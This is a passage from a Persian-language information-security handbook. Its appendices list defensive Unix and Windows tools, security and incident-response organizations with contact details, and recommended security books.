 صورت فعـال     اكنون مجدداً به  گرفت، اما هم  استفاده قرار نمي  

  .شود روز مي مورد پشتيباني قرار دارد و به

  : دريافت استاين برنامه از طريق پايگاههاي وب زير قابل
http://www. tigersecurity.org  

Trimlog   
بـراي كمـك بـه راهبـران در         ) ٥١٦ديويد كاري نوشتة  (اين برنامه   

ايـن برنامـه يـك فايـل        . مديريت فايلهاي ثبت طراحـي شـد      
كند تا مشخص سازد كـدام فايلهـاي        پيكربندي را بررسي مي   

، چگونـه بايـد هـرس       )حجمشان كم شود  (ثبت بايد هرس شوند     
اين برنامه بـه    .  اي بايد هرس شوند، و غيره     شوند، تا چه اندازه   

كند از اينكه فايلهاي ثبت آنقدر بزرگ شوند تا           شما كمك مي  
  .تمام فضاي ديسك را اشغال كنند جلوگيري نماييد

  :اين برنامه از طريق پايگاه وب زير قابل دريافت است
ftp://ftp.cerias.purdue.edu/pub/tools/unix/log
utils/trimlog/ 

Wuarchieve ftpd   
 داراي ويژگيهـا و قابليتهـاي امنيتـي زيـادي           daemonاين  

است، مثل يك فايل پيام كه قبل از ورود كاربر به يك شاخه             
تواند براي او بـه نمـايش درآيـد، قابليـت محـدود كـردن               مي

كننـد، و نيـز     كاربراني كه بصورت همزمان با سيستم كار مـي        
ايـن ويژگيهـاي    . تـر رل دسترسي پيـشرفته   قابليت ثبت و كنت   
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 ناشـناس   FTPاضافه بطور خاص براي پشتيباني از خـدمات         
  . اند طراحي شده

  :اين برنامه از طريق پايگاههاي وب زير قابل دريافت است
http://www.wu-ftpd.org 

   Windowsعامل ابزارهاي سيستم

  ويروس  ضد
يـد كننـدة    ويروسهاي بسياري وجود دارند كه شـركت تول         ضد

شدة ويروس براي   روزرساني  آنها بصورت مداوم از نشانهاي به     
افزار اينكه بطور كلي از يك نرم    . كندپشتيباني آنها استفاده مي   

ضدويروس استفاده كنيد بسيار مهمتر از اين است كـه از چـه             
ضدويروسـهاي خـوب    . افزار ضدويروسي اسـتفاده نماييـد     نرم

م درخواست كـاربر بـه بررسـي        معمولاً بجاي اينكه تنها هنگا    
آلودگيهــاي ناشــي از ويروســها بپردازنــد، بــصورت بلادرنــگ 

  .مراقب فعاليتهاي ويروسها و فايلهاي آلوده به آنها هستند

MBSA) ٥١٧)تحليلگر امنيت پاية مايكروسافت  
 Windowsكنندة امنيت در افزار بررسياين برنامه نوعي نرم

NTــرم. عاملهــاي پــس از آن اســت و سيــستم ــزار ايــن ن اف
كنترلهاي متعددي را روي سيستم محلي يـا سيـستم راه دور            

روز بـودن   كند؛ مثل بررسي بـه      تحت راهبري شما بررسي مي    
هاي امنيتي، اسـتحكام رمـز عبـور، پيكربنـدي صـحيح           وصله

سيستم فايل، مميزي تنظيمات ويژه در برخي خـدمات ماننـد           
IIS  دهندة   و سرويسSQL  افـزار  ز اين نرم  استفاده ا . ، و غيره

اگر سيستم از   . شوداندازي يك سيستم توصيه مي    در اولين راه  
افزار موفق بيـرون نيايـد، قاعـدتاً در آينـده           آزمونهاي اين نرم  

افـزار از آدرس زيـر قابـل        ايـن نـرم   . دچار مشكل خواهد شـد    
  :دستيابي است

http://www.microsoft.com/technet/security/to
ols/Tools/mbsahome.asp 

Microsoft IIS Lockdown Wizard  
IIS - دهندة وب    سرويسWindows -     بارها منبع تخريـب 

خواهيـد آنـرا    درصـورتيكه نمـي   .  و حمله به سيستم بوده است     
دهنـدة وب ديگـري      و يـا سـرويس     Apacheبطور كامل با    

 را بكـار بريـد تـا        Wizardايـن     جايگزين كنيد، حداقل بايـد      
ز كــار انداختــه و امنيــت نــصب و اجــزاي غيرضــروري آنــرا ا
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افـزار از آدرس زيـر      اين نـرم  . . بندي آن را افزايش دهيد      پيكر
 :قابل دستيابي است

http://www.microsoft.com/Downloads/Releas
e.asp?ReleaseID=43955  
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  ۴پيوست 
  ي امنيتياه سازمان

آوري   اين بخش اطلاعات برخي از سازمانهاي مفيد را جمع          در
توانيد از آنها براي دريافت كمك و اطلاعـات           يم كه مي  اكرده

  .بيشتر استفاده كنيد

  اي هاي حرفه سازمان

چنـد  . توانند براي شما بـسيار مفيـد باشـند        سازمانهاي زير مي  
كنند، مراكز آموزشي دارنـد، و      سازمان اول خبرنامه منتشر مي    

توانند    نيز مي  FIRSTسازمانهاي  . نمايندكنفرانس برگزار مي  
  .در مواقع اضطراري به كمك شما بيايند

ACM) ٥١٨)مؤسسه ماشينهاي محاسباتي  

اي علوم رايانه اسـت كـه مجـلات           ترين سازمان حرفه    قديمي
كنـد و سـاليانه در برگـزاري دههـا            علمي بسياري چـاپ مـي     

. كنـد  كنفرانس و كارگاه تحقيقاتي و اجتماعي مـشاركت مـي         
ACM         ـ  رورش  همچنين درگير موضـوعاتي چـون آمـوزش، پ

 و داراي تعـدادي      متخصصين، و نيز توسعة علم و دانش است       
 است كه در زمينة امنيـت و كـاربرد          ٥١٩)SGI(گروه تخصصي   

برخي از اين گروهها عبارتنـد از گـروه         . رايانه نيز فعال هستند   
عامل، گروه رايانه     امنيت، گروه مميزي و كنترل، گروه سيستم      

براي تمـاس بـا     . زاراف  و جامعه، و همچنين گروه مهندسي نرم      
  :اين سازمان به آدرس زير مراجعه كنيد

ACM Headquarters 
One Astor Plaza 
1515 Broadway 
17th Floor 
New York, New York 10036-5701 
+1-212-869-7440 
http://www.acm.org   
                                                                  
518 Association for Computing Machinery 
519 Special Interest Groups 

ACM          داراي يك كميتة سياستهاي عمومي بـراي پـرداختن 
ــق   ــوانين معل ــه ق ــده    ب ــالات متح ــت،  اي ــصوص امني در خ

بسياري از موضوعاتي كـه آنهـا   . محرمانگي، و كارآمدي است  
منـدان مـسائل    دهند معمولاً بـراي علاقـه     مورد توجه قرار مي   

  .امنيتي نيز جذاب است
http://www.acm.org/usacm/ 

ACM        منابع الكترونيكي فراواني از جمله اطلاعات كنفرانسها 
ي كـه از طريـق وب   اطلاعات. و گروههاي تخصصي خود دارد    

  :باشد شود معمولاً بسيار جامع و در ساختاري عالي ميارائه مي

ASIS) ٥٢٠)مجمع امنيت صنعتي امريكا  

اي براي كساني كه در زمينـة امنيـت كـار             يك سازمان حرفه  
كنـد و تـا    سال است كه فعاليـت مـي   ۴۰اين مجمع   . كنند  مي

.   عضو از سراسر جهان بـوده اسـت        ۳۲۰۰۰ داراي   ۲۰۰۲سال  
اي    كميتة دائمي آن در زمينة امنيت، خصوصاً امنيت رايانه         ۲۵

اي در ارتبـاط بـا امنيـت و         اين گروه هر ماه مجلـه     . متمركزند
 همچنين از جلسات    ASIS. رساند  فقدان مديريت به چاپ مي    

كنـد و امكـان       گفتگو و ديگر فعاليتهاي گروهي حمايـت مـي        
 در يـك    عضويت در آن تنها براي افـرادي ميـسر اسـت كـه            

  .سطح مديريتي با مسائل امنيتي درگير هستند

American Society for Industrial Security 
1625 Prince Street 
Alexandria, Virginia 22314-2818 
+1-703-519-6200 
http://www.asisonline.org 
 

www.cisecurity.org 

يك منبع خوب براي اطلاعات امنيتي، فهرستهاي كنترل و 
  . Windows و Unixعاملهاي رهايي مربوط به سيستمابزا

CSI )٥٢١)مؤسسه امنيت رايانه  

 به عنوان يك سازمان چندمنظوره      ۱۹۷۴اين مؤسسه در سال     
براي كمك به اعضاي خـود در حفاظـت از منـابع پردازشـي              

 از برگزاري كارگاهها    CSI. اطلاعات الكترونيكي تأسيس شد   
كنـد، يـك مجلـة      يو كنفرانسهاي امنيتـي حمايـت مـالي م ـ        
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 ٤٩٠  راهنماي امنيت فناوري اطلاعات

تحقيقاتي و يك نشرية تخصصي در زمينة امنيـت رايانـه بـه             
رساند، و بعنوان يك منبع مهم اطلاعـاتي در زمينـة           چاپ مي 

مؤسسه بر اساس سـود متقابـل       . نمايدامنيت ارائه خدمات مي   
 كـه    دهـد   خدمات زيادي را به اعضا و گروههاي خود ارائه مي         

راهنمـاي امنيـت   ر سالنامه يك نمونة آن عبارت است از انتشا      
افـزار، مقـالات، و     كه منابعي بـراي نـرم  ٥٢٢اي خريداران  رايانه

  .ارائه مشاورة امنيتي را در خود فهرست كرده است

Computer Security Institute 
600 Harrison Street 
San Francisco, CA 94107  
+1-415-947-6320 
http://www.gocsi.com  

EFF) ٥٢٣)لكترونيكيبنياد پيشروي ا  

از مسائل مرتبط با آزاديهاي مدني و اينترنتي حمايت قـانوني           
 و اگرچه اهداف آن بسيار فراتر از مسائل امنيتي است،            كندمي

اما داراي يك بايگاني قابل توجه از مستندات مرتبط با امنيت           
  .و محرمانگي است

Electronic Frontier Foundation 
454 Shotwell Street 
San Francisco, CA 94110-1914 
+1-415-436-9333 
http://www.eff.org/ 
 

EPIC) ٥٢٤)مركز اطلاعات حريم خصوصي الكترونيكي  

يك مركز تحقيقات عمومي است كـه موضـوعات مـرتبط بـا             
.  دهد  محرمانگي اطلاعات الكترونيكي را مورد مطالعه قرار مي       

اين مركز از مسائل حريم خـصوصي و آزادي مـدني حمايـت             
 .كندنوني ميقا

1718 Connecticut Avenue 
NW, Suite 200 
Washington, DC 20009 
+1-202-483-1140 
info@epic.org  
http://www.epic.org 
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HTCIA )٥٢٥)انجمن پيگرد تخلفات فناوري پيشرفته  

اي بـراي افـرادي كـه مـشغول تحقيقـات           يك سازمان حرفه  
ملـه تخلفـات    پليسي و پيگيرد جرائم فناوريهاي پيشرفته از ج       

 از  ايــن ســازمان در آمريكــا و بــسياري.  باشــنداي مــي رايانــه
كشورهاي ديگر شعباتي دارد و اطلاعات آن از طريق پايگـاه           

 .وب، پست الكترونيكي و يا تلفن قابل حصول است

HTCIA, Inc. 
1474 Freeman Dr. 
Amisville, VA 20106 
+1-540-937-5019 
http://htcia.org  

ISSA) ٥٢٦)ن امنيت سيستمهاي اطلاعاتيانجم  

المللــي از متخصــصين و وكــلاي امنيــت  يــك ســازمان بــين
اطلاعات كه از جلسات آموزشي، انتشار نشريات و فرصـتهاي          

كنـد تـا سـطح دانـش، مهـارت و           تعامل رو در رو استفاده مي     
اين سازمان عـلاوه بـر      . تخصص اعضاي خود را افزايش دهد     

كارگاههـاي ايـن حيطـه نيـز        انتشار نـشريه، از كنفرانـسها و        
آورد؛ و در حـال حاضـر شـعبات آن در           حمايت مالي بعمل مي   

  .  ايالات متحده و جهان نيز وجود دارند سراسر

ISSA Headquarters 
7044 S. 13th Street 
Oak Creek, WI 53154 
+1-414-768-8000 
+1-800-370-ISSA 
http://www.issa.org 

ISACA) ٥٢٧)يستمهاي اطلاعاتيانجمن مميزي و كنترل س  

المللـي از متخصـصين و وكـلاي مـشاور در             يك سازمان بين  
حوزة مـديريت و مميـزي امنيـت اطلاعـات كـه از جلـسات               

هاي تخصصي به   نامهآموزشي، انتشار نشريات، اعطاي گواهي    
ــل رو در رو    ــتهاي تعام ــصين، و فرص ــان و متخص كارشناس

ضاي كند تا سطح دانش، مهـارت و تخـصص اع ـ         استفاده مي 
اين انجمن علاوه بـر انتـشار نـشريه، از          . خود را افزايش دهد   

تحقيقات، كنفرانسها و كارگاههاي مرتبط نيـز حمايـت مـالي           
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 ايالات متحده و جهـان وجـود        كند و شعبات آن در سراسر       مي
  .دارند

ISACA Headquarters 
3701 Algolquin Road, Suite 1010 
Rolling Meadows, Illinois 60008, USA 
+1-847-253-1545 
+1-847-253-1443 
http://www. isaca.org 

ISC2) ٥٢٨)المللي گواهي امنيت سيستمهاي اطلاعاتيكنسرسيوم بين  

هـاي تخصـصي    المللـي كـه بـر ارائـه گـواهي           سازماني بـين  
CISSPو   ٥٢٩ SSCPاين دو گواهي بـه     .  كند   نظارت مي  ٥٣٠

منيـت  عنوان يك سطح استاندارد براي افرادي كه در زمينـة ا          
معمولاً سازمانها  . شوندكنند محسوب مي  اطلاعات فعاليت مي  

هنگام استخدام متخصـصين و پـس از توفيـق متقاضـيان در             
ها را درخواست   آزمونهاي اولية استخدامي، از افراد اين گواهي      

كنند تا سطح دانش آنان مشخص بيش از پيش مـشخص           مي
  . شود

(ISC)2 Services 
P.O.Box 1117 
Dunedin, FL 34697 
USA 
+1-888-333-4458 
http://www.isc2.org 
 
(ISC)2 Europe Operations 
Nestor House 
London UK EC4V 5EX 
+44 (0) 20 7779 8030 
 
(ISC)2 Asia Operations 
17/F., Printing House 
Central Hong Kong 
+852 2111 6612 

  ٥٣١اينترنتي جامعة 

 با اينترنـت از جملـه يـك         بيشتر فعاليتها و رويدادهاي مرتبط    
  . كند همايش سالانه در زمينة امنيت شبكه را برگزار مي

1775 Wiehle Ave., Suite 102 
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Certification Consortium, Inc. 
529 Certified Information Systems Security Professional 
530 Systems Security Certified Practitioner 
531 The Internet Society 

Reston, VA 20190-5108 
+1-703-326-9880 
http://www.isoc.org 

4, rue des Falaises 
CH-1205 Geneva 
Switzerland  
+41-22-807-1444 
info@isoc.org 

IEEE-CS) ٥٣٢)اي مهندسان برق و الكترونيك يانهجامعة را  

ــا چيــزي حــدود   عــضو، بزرگتــرين زيرمجموعــة ۱۰۰،۰۰۰ب
IEEE  توان به  از فعاليتهاي اين جامعه مي    .  شود   محسوب مي

كارهايي نظير تلاش براي ارتقاي نشريات پژوهشي، برگزاري        
كنفرانسها و كارگاههـا، ارائـه آموزشـهاي تخصـصي، تـدوين          

ايـن  . عاليتهايي از اين قبيل اشاره كـرد      استانداردهاي فني و ف   
جامعه همچنين داراي گروههاي تخصصي نيز هـست كـه از           

اند كميتة فني امنيت و حريم خصوصي، كميتة فنـي          آن جمله 
 .افزار عاملها و نيز كميتة فني مهندسي نرم  سيستم

IEEE Computer Society 
1730 Massachusetts Avenue N.W. 
Washington, DC 20036-1992 
+1-202-371-0101 
http://www.computer.org 

در پايگاه كميتة فني امنيت و حريم خصوصي اين جامعه، چند      
  :منبع اطلاعاتي وجود دارد؛ از جمله يك خبرنامه

http://www.ieee-security.org/  

  IFIP٥٣٣ ۱۱كميتة فني شمارة 
المللي پردازش اطلاعات    فدراسيون بين  ۱۱كميتة فني شمارة    

)IFIP (          مختص تحقيق، آموزش، و ارتباطات در زمينـة امنيـت
ــت  ــاتي اس ــستمهاي اطلاع ــه  . سي ــاري كميت ــاي ك گروهه

سرپرستي فعاليتهاي مختلفي را بر عهده دارند، مثل برگـزاري          
  .اي از دنياكنفرانس در نقطه

http://www.ifip.org 
  ).د برويTC 11در پايگاه فوق به صفحات مربوط به مسائل امنيتي يا (
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SANS) ٥٣٤)مؤسسه راهبري سيستمها و امنيت شبكه  

  اي كه كارگاهها و كنفرانـسهايي را در نقـاط مختلـف           مؤسسه
كنـد تـا در ابعـاد مختلـف امنيـت و              ايالات متحده برگزار مي   

از جملـة   . راهبري سيستمها آموزش مستمر فراهم كرده باشد      
تــوان بــه آموزشــهايي در خــصوص هــاي آموزشــي مــيدوره

ايـن  . اب، ديوارة آتش و امنيـت عمـومي اشـاره كـرد           يمهاجم
هـا و   هـا، هـشدار   سازمان همچنين در پايگاه وب خود خبرنامه 

  . كند دستورالعملهاي خودآموز مختلفي را منتشر مي

http://www.sans.org 

USENIX/SAGE   
 يك سازمان آموزشـي غيرانتفـاعي بـراي         USENIXانجمن  

اين انجمن يك   .  است  و امثال آن   Unixكاربران سيستمهاي   
كنــد، در برگــزاري كنفرانــسها مــشاركت نــشريه منتــشر مــي

 داراي ٥٣٥المللــي اســتاندارد هــاي بــينبدنــهجويــد، و در  مــي
، و از برگزاري كارگاههاي سالانه در ارتباط          باشد  نمايندگي مي 

 و نيز ديگر كارگاههـاي راهبـري        Unixبا امنيت سيستمهاي    
ا اطلاعـات امنيتـي حمايـت       سيستمها و كنفرانسهاي مرتبط ب    

توان به يك كارگاه سـالانه       از جملة اين كارگاهها مي    .  كند  مي
، يــك كارگــاه ســالانه در خــصوص Unixدر زمينــة امنيــت 

ــا   راهبــري سيــستم، بعــلاوة كنفرانــسهاي متعــدد ديگــري ب
  .موضوعات مرتبط با امنيت اشاره كرد

SAGE    اسـت، و   ٥٣٦انجمن راهبران سيستمها   مخفف عبارت 
براي . باشد ميUSENIX گروه فني تخصصي از انجمن      يك

   USENIX، بايـد پيـشتر بـه عـضويت          SAGEعضويت در   
  .در آمده باشيد

USENIX Association 
2560 Ninth Street 
Suite215 
Berekley, CA 94710 
+1-510-528-8649 
office@usenix.org 
http://www.usenix.org  
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   ايالات متحده  سازمانهاي دولتي

NIST) ٥٣٧)مؤسسه ملي استانداردها و فناوري  

، مسئوليت  ) نام داشت  ٥٣٨اداره ملي استانداردها  كه سابقاً   (اين مؤسسه   
اي و روشــهاي ارزيــابي تــدوين اســتانداردهاي امنيــت رايانــه

. هاي كـاربردي منفـك از وزارت دفـاع را برعهـده دارد        برنامه
 شـامل  فعاليتهاي اين مؤسسه علاوه بـر تـدوين اسـتانداردها،     

  .شودتحقيقات نيز مي

NIST Computer Security Division 
100 Bureau Drive 
Mail Stop 8930 
Gaithersburg, MD 20899-8930 
+1-301-975-2934 
http://www.nist.gov  

 ايمركـز منـابع امنيـت رايانـه       اين مؤسسه مركـزي بـه نـام         
)CSRC(كند را نيز اداره مي٥٣٩:  

http://csrc.nist.gov/  

NSA) ٥٤٠)سازمان امنيت ملي  
اين سازمان يك فهرست از محصولاتي كه ارزيـابي و تأييـد            

اند دارد كه در آن مقداري منابع اطلاعات فنـي در زمينـة    شده
ممكـن اسـت كـاربران      . امنيت بويژه رمزنگاري موجود اسـت     

Linux بــه برنامــة " Linux ايمــن NSA "-اي از  مجموعــه
 را  Linuxه سـطح امنيـت      عامـل ك ـ  هاي هستة سيستم  وصله

مـوزة   همچنـين    NSA.  منـد باشـند    علاقه -دهد  افزايش مي 
كند، و يـك مـوزة       را اداره مي   ٥٤٢مريلند در   ٥٤١ملي رمزنگاري 

ــت دارد  ــز در اينترن ــاري ني ــاه وب . رمزنگ  NSAآدرس پايگ
  :عبارت است از

http://www.nsa.gov 

در ايــن پايگــاه وب چنــد راهنمــاي مفيــد بــراي پيكربنــدي  
ايـن راهنماهـا    . عاملها و مسيريابهاي رايج وجـود دارد        تمسيس

                                                                  
537 National Institute of Standards and Technology 
538 National Bureau of Standards 
539 Computer Security Resource Center 
540 National Security Agency 
541 National Cryptologic Museum 
542 Maryland 
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كننـد تـا    نكات مفيدي براي تغيير پيكربندي معمول ارائه مـي        
  .ضريب امنيت سيستم افزايش يابد

  سازمانهاي واكنش به فوريتها

 ايـالات   ي و سازمانهاي خدمات سـر FBIوزارت دادگستري،   
 مربـوط بـه   انـد، نقـض قـوانين ملـي    متحده كه در ادامه آمده   

اي را    كلاهبرداري، سـرقت، و سـوء اسـتفاده از منـابع رايانـه            
تيمهاي واكنش بـه رخـداد متعـدد از جملـه           . كنندبررسي مي 

FIRST           اي    نيز به تحقيق صرف در خـصوص جـرائم رايانـه
؛ بلكه هنگام وقوع رخدادهاي امنيتـي بـه كمـك             پردازند  نمي

كان وقوع و يـا  شتابند؛ و همچنين براي كاهش ام قربانيان مي 
گــسترش ايــن وقــايع بــه تحقيــق، ارائــه اطلاعــات و انجــام 

  .پردازندپشتيباني نيز مي

توجه داشته باشيد كـه مؤسـسات ملـي معمـولاً داراي دفـاتر              
توانيـد از آنهـا اطلاعـات         باشـند كـه مـي       مي) محلي(اي    حوزه

تري دريافت كنيد؛ هرچند تمام دفاتر محلي مجهـز         اختصاصي
ا سـطح آموزشـي همـسان بـا كاركنـان دفـاتر             به كاركناني ب  
  .مركزي نيستند

DOJ) ٥٤٣)وزارت دادگستري  

10th & Constitutioan Ave. NW  
Criminal Division, (Computer Crime & 
Intellectual Property Section) 
John C.Keeney Building, Suite 600 
Washington, DC 20530 
+1-202-514-1026 
http://www.cybercirne.gov  

FBI) ٥٤٤)ادارة تجسس ملي  

 FBI،  ٥٤٥)NIPC (مركز حفاظت زيرسـاختهاي ملـي     علاوه بر   
اي از فعاليتهــاي همكــاران  مجموعــه- Infraguardمركــز 
 و اقتصاد محلي را براي مقابلـه بـا جـرائم            FBIاي كه   منطقه
اطلاعـات  . نمايـد  را نيز اداره مي    -كند  اي هماهنگ مي  رايانه

تـوان در پايگـاه وب         را مـي   Infraguardبيشتر در خصوص    
NIPCيافت  .  

                                                                  
543 Department of Justice 
544 Federal Bureau Of Investigation 
545 National Infrastructure Protection Center 

National Infrastructure Protection Center 
J.Edgar Hoover Building  
935 Pennsylvania Avenue, NW  
Washington, D.C.20535-0001 
+1-202-323-3205 
http://www.nipc.gov 

USSS) خدمات سر٥٤٦) ايالات متحده ي  

Financial Crimes Division 
Electronic Crime Branch 
U.S. Secret Service 
Washington, DC 20223 
+1-202-435-7700 
http://www.ustreas.gov/usss/financial_crimes.shtml 

FIRST)            اتاق گفتگـوي تيمهـاي واكـنش بـه رخـدادهاي
  ٥٤٧)امنيتي

 ائتلافـي   FIRST.  تأسـيس شـد     ۱۹۹۳اين مجمع در مارس     
ختلف واكـنش بـه رخـدادهاي امنيتـي از          است كه تيمهاي م   

بخش دولتي و بخش خصوصي و همچنين دانـشگاهها را در           
 از تيمهــاي FIRSTمؤســسين . كنــار هــم قــرار داده اســت

. انـد واكنش به رخداد متعددي در تمـام دنيـا گـرد هـم آمـده              
  : عبارتند ازFIRSTاهداف 

افزايش همكاري ميان كاربران فناوري اطلاعات جهـت         •
 ؛ اي شناسايي و ترميم رخدادهاي امنيت رايانهمقابله، 

سـازي و اعـلان هـشدار بـه         ايجاد ابـزاري بـراي آگـاه       •
 مشتريان در خصوص رخدادها و تهديدات فزاينده؛

پشتيباني و گسترش فعاليتهاي تيمهاي واكنش عضو بـا          •
 فعاليتهايي چون تحقيقات و كارهاي عملي؛ و

 ابزارهـا و    گذاري اطلاعـات،  اشتراكتشويق و تسهيل به    •
 . مرتبط با امنيت فنون

FIRST           هرسال يك كارگاه در خصوص با واكنش به وقـايع 
كنـد كـه شـامل مطالـب آموزشـي و ارائـه               امنيتي برگزار مي  

مطالب توسط اعضاي تيمهاي واكـنش و نيـز دوايـر اجـراي             
 بـه يـك     ۱۹۹۵ايـن مؤسـسه در اواسـط سـال          . قوانين است 
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547 Forum of Incident and Response Security Teams 
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اي آن از   يف دبيرخانـه  مؤسسه غيرانتفاعي تبديل شـد و وظـا       
NISTتفكيك گرديد .  

FIRST Secretariats 
First.Org, Inc. 
PMB 349 
650 Castro Street, Suite 120 
Mountain View, CA 94041 
first-sec@first.org 
http://www.first.org/ 

FIRST     بـراي مـشاهدة    .  متشكل از سازمانهاي زيادي است
اينترنـت    توانيـد از    جديدترين فهرست سـازمانهاي عـضو مـي       

درصـورتيكه يـك مـشكل امنيتـي داريـد و يـا             . استفاده كنيد 
ايـن سـازمانها      نيازمند كمك هستيد، ابتدا ببينيد كـداميك از         

چنانچه موفق بـه    . شوندمربوط به عمليات و نيازهاي شما مي      
تشخيص اين مسئله نشديد، با يكي از آنها تماس بگيريـد تـا             

  . به شما معرفي كنندترين گروه را آنها مناسب

 هـستند   PGP بيشتر اين گروههاي واكنش داراي يك كليد        
كه بوسيلة آن هشدارهاي خود را به امضا رسانند و كاربران را            

كنند كه بتوانند گزارشها را بـصورت محرمانـه بـراي           قادر مي 
  :آنها ارسال نمايند

http://www.first.org/rep-info/ 

اند كه بتوانند تلفنهاي       اتخاذ كرده  بسياري از اين تيمها ترتيبي    
 روز هفته   ۷ و در هر      روز ساعت شبانه  ۲۴خود را در طول تمام      

  .پاسخ دهند

اي  مركز هماهنگي تيم واكنش به فوريتهاي رايانـه       
)CERT/CC(٥٤٨  

 است كـه  CERT/CC، گروه   FIRSTيكي از تيمهاي مهم     
لمـة  ك.  كنـد   رساني مـي  اينترنتي خدمات   به تمامي پايگاههاي    

CERT     ايتيم واكنش به فوريتهـاي رايانـه      " برگرفته از نام "
هـاي تحقيقـاتي پيـشرفته     مؤسـسه پـروژه  اسـت كـه توسـط    

)ARPA(۱۹۸۸ در نوامبر    ٥٤٩)       هنگام شيوع اولية كرمهاي اينترنتي و
ــشابه  ــدادهاي م ــود  ) رخ ــه  ب ــكل گرفت ــشكيل ش ــت . ت مأموري

CC/CERT       همكاري با مجامع اينترنتي براي تسهيل نحوة  
واكـــنش بـــه رخـــدادهاي امنيتـــي رايانـــه از جملـــه      

                                                                  
548 Computer Emergency Response Team / 

Coordination Center 
549 Advanced Research Projects Agency 

اينترنتي، برداشته گامهاي مؤثر براي افزايش سـطح      ميزبانهاي
اي، و انجام تحقيقـات     آگاهي پيرامون موضوعات امنيت رايانه    

. باشـد در جهت ارتقاي سطح امنيتي سيستمهاي موجـود مـي         
 شامل) http://www.cert.org(بايگاني مبتني بر وب اين مركز       

يك مجموعة غني از هشدارهاي مشكلات امنيتي در گذشـته       
  .باشدو حال حاضر مي

 
CERT Coordination Center  
Software Engineering Institute 
Carnegi Mellon University 
Pittsburgh, PA 15213-3890 
+1-412-268-7090 
cert@cert.org 
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  ۵پيوست 
  منابع چاپي
لات و مقالات بـسياري در مـورد        بها، مج   در سالهاي اخير كتا   

مسائل امنيتي منتشر شده كه بيانگر توجه روزافزون بـه ايـن            
اگر بخواهيد بعنوان يك محقق دانش خـود        . باشد  موضوع مي 

روز نگه داريد، ممكن است مطالعـه و فراگيـري قـسمت            را به 
در اينجـا   . فرسـا باشـد     كمي از اين اطلاعات نيز بسيار طاقـت       

توانـد      آوري شده كه مي    مفيد مختلف جمع   اطلاعاتي از مراجع  
بعنوان نقطة شروعي براي بدست آوردن اطلاعـات افزونتـر و           

تر، و همچنين راهنمايي براي امدادرساني بيـشتر مـورد          عميق
  .استفاده شما قرار گيرد

اين فهرست را به مراجع در دسـترس           كه    سعي ما بر اين بوده    
ها براي خوانندگان دشوار    و ارزشمندتر محدود كنيم تا يافتن آن      

وجود تعدادي از مراجع در اين فهرسـت، بـيش از هـر             .  نباشد
همچنـين آنجـا كـه      . دليلي، به دليل تاريخي بودن آنها اسـت       

كنـد، از آن    تر به خواننده كمك مي    بنظر رسيده توضيح اضافه   
  .ايماستفاده كرده

خواهيد يك قفسه كتـاب در مـورد امنيـت داشـته            چنانچه مي 
گيـري بـراي    اين است كه پيش از تـصميم        د، پيشنهاد ما    باشي

ــا جــذاب اســت، از يــك    ــاوين آنه ــد كتابهــايي كــه عن خري
كتابفروشي تخصصي بازديد بعمل آوريـد، بـا يـك فروشـندة            
كتاب در يك كنفرانس امنيتـي ملاقـات كنيـد و يـا خلاصـة            
كتابها را در اتاقهاي مجازي مربوط به مسائل امنيتي مطالعـه           

.  سرعت درحال پيـشرفت و تكامـل اسـت          اين حوزه به  . نماييد
كنيد، ها مي همانطور كه وقت خود را صرف اشكالات و وصله        

بسيار مهم است كه همچنان با انجام مطالعات، دانش خود را           
  .روز نگه داريدنيز به

  Unixمراجع امنيتي 

اي در  ايــن دســته از كتابهــا بــر مــسائل امنيــت رايانــه      
  . تأكيد دارندUnixي بر عاملهاي مبتن سيستم

Garfinkel, Simson, Gene Spafford, and Alan 
Schwartz. Practical Unix and Internet 
Security, 3rd Edition.Cambridge, MA: 
O’Reilly and Associates, Inc., 2003. 

 كـه هنـوز هـم ارزش        Unixرسالة اصلي و اوليـة امنيـت در         
  :خواندن را دارد

Grampp, F. T., and R. H. Morris. UNIX 
Operating SystemSecurity, AT&T Bell 
Laboratories Technical Journal, October 
1984.  

سازي  هنگام شبكه  Unixيك بررسي خوب از امنيت سيستم       
  :TCP/IPمبتني بر 

Wood, Patrick H., and Stephen G. Kochan. 
UNIX System Security, Carmel, IN: Hayden 
Books, 1986. 

  Windowsمراجع امنيتي 

سازي سيـستمهاي مبتنـي بـر       يك راهنماي عالي براي ايمن    
Windows NT كــه بــراي ارائــه خــدمات اينترنتــي بكــار 

  :روند مي

Norberg, Stefan. Securing Windows 
NT/2000 Servers for the Internet: A 
Checklist for System Administrators. 
Cambridge, MA: O’Reilly and Associates, 
2002.  

Anderson-Redick, Stacey. Windows System 
Policy Editor. Sebastopol, CA: O’Reilly and 
Associates, 2000. 

  ساير مراجع امنيتي

كتابها و مقالات زير مورد توجه همة كساني هستند كه مقولة           
  :اي برايشان جذاب است امنيت رايانه
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  اي و قانون جرائم رايانه

اي كه تمام آن بوسيلة     داستاني در مورد يك جرم بزرگ رايانه      
اين رخداد باعث شد جوخة جـرائم     . دو نفر به انجام رسيده بود     

 در  Tripwire، و نيـز ابـزار       FIRST، چند تيم    FBIاي  رايانه
  : بوجود بيايدPurdueدانشگاه 

Freedman, David H., and Charles C. Mann. 
@Large; NYC, NY, 1997. 

 كه هرچند FBIيك بازنويسي مشهور از يك كتاب آموزشي 
  :شودقديمي است ولي هنوز مطالب ارزشمندي در آن پيدا مي

Icove, David, Karl Seger, and William 
VonStorch, Computer Crime: A 
Crimefighter’s Handbook, Sebastopol, CA: 
O’Reilly & Associates, 1995.  

اي و تحقيقـات    موعه داسـتانهايي در مـورد جـرائم رايانـه         مج
مرتبط با آنهـا، كـه در آن بـراي روشـن شـدن ابعـاد مـسئه،                  

  :آمارهايي نيز ارائه شده است

Power, Richard. Tangled Web. Indianapolis, 
IN, Que, 2002. 

  اي مخاطرات محيط رايانه

مهاي اين كتاب در بر گيرندة بررسي جامعي از خطرات سيست         
دهد كه بـا      اي است، و روشهايي را مورد بررسي قرار مي          رايانه

افزارهايي توليـد كـرد كـه تحمـل           توان نرم استفاده از آنها مي   
  :خطاي بيشتري داشته و از استحكام بيشتري برخوردار باشند

Leveson, Nancy G. Safeware: System 
Safety and Computers. A Guide to 
Preventing Accidents and Losses Caused 
by Technology. Reading, MA: Addison 
Wesley, 1995. 

اي از مهمتـرين رخـدادهايي اسـت كـه از             كتاب زير مجموعه  
 .انـد زمان ايجاد پست الكترونيكي تا به امروز بوقـوع پيوسـته          

سـردبير فهرسـت پــستي   ) دكتــر نيـومن (نويـسندة ايـن كتـاب    
  .است" مخاطرات اينترنتي"

Neumann, Peter G. Computer Related 
Risks. Reading, MA: Addison & Wesley, 
1995. 

  اياي و تهديدات برنامه ويروسهاي رايانه

